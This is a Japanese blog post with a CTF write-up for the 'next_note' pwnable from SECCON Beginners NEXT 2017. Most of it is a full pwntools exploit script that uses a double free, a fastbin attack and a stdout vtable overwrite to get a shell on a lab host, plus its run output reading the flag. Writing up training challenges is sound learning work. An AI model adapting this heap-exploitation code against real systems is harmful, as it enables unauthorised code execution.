ブログ未満のなにか

ブログなのか誰にも分からない

SECCON Beginners NEXT 2017 東京 next_note writeup

はじめに

初心者で問題が解けないので、これで成長できたらいいなぁと思い参加した。 pwnableの方の講義で使われたnext_noteという問題のwriteupとなっている。

動作

よくある感じのノート管理。

脆弱性

double freeできる。

方針

double free -> fastbin dup -> fastbin attack -> stdoutのvtableを書き換え で制御を取れる。あとは適当にone-gadget-rce使った。

exploit

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "172.20.2.2"
RPORT = 4296
LHOST = "127.0.0.1"
LPORT = 8080

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./next_note')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./next_note'], execute=execute)
else:
    conn = process(['./next_note'])
    # conn = process(['./next_note'], env={'LD_PRELOAD': ''})

# preparing for exploitation
def add_note(size, payload):
    conn.sendlineafter('>> ', '1')
    conn.sendlineafter('length...', str(size))
    conn.sendlineafter('note', payload)
    time.sleep(0.1)
def show_note():
    conn.sendlineafter('>> ', '2')

def delete_note(idx):
    conn.sendlineafter('>> ', '3')
    conn.sendlineafter('Input id to remove...', str(idx))

log.info('Pwning')

add_note(0xf8, 'hoge')
add_note(0xf8, 'hoge')
delete_note(0)
show_note()
conn.recvuntil('00 : ')
libc_base = u64(conn.recv(6)+'\x00\x00') - 0x3c4b78
log.info('libc_base = 0x%x', libc_base)

add_note(0x68, 'xxxx')
add_note(0x68, 'yyyy')

delete_note(2)
delete_note(3)
delete_note(2)
show_note()
conn.recvuntil('00 : ')
heap_base = u64(conn.recvuntil('\n')[:-1].ljust(8, '\x00')) - 0x70
log.info('heap_base = 0x%x', heap_base)

payload = p64(libc_base + 0x3c56bd)
add_note(0x68, payload)
payload = 'z' * 8 * 3
payload += p64(libc_base + 0x4526a)
payload += 'z' * 8 * 3 
payload += p64(libc_base + 0x791e0)
add_note(0x68, payload)
add_note(0x68, 'zzzz')
payload = '\x00'*3  + p64(0x0) * 5 + p64(heap_base + 0x80)
add_note(0x68, payload)

conn.interactive()
% python exploit.py r
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/hama/ctf/next/next_note'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to 172.20.2.2 on port 4296: Done
[*] Pwning
[*] libc_base = 0x7fdecdd13000
[*] heap_base = 0x979000
[*] Switching to interactive mode
...$ ls
flag
next_note
$ cat flag
ctf4b{heap_exploit_techniques_are_awesome}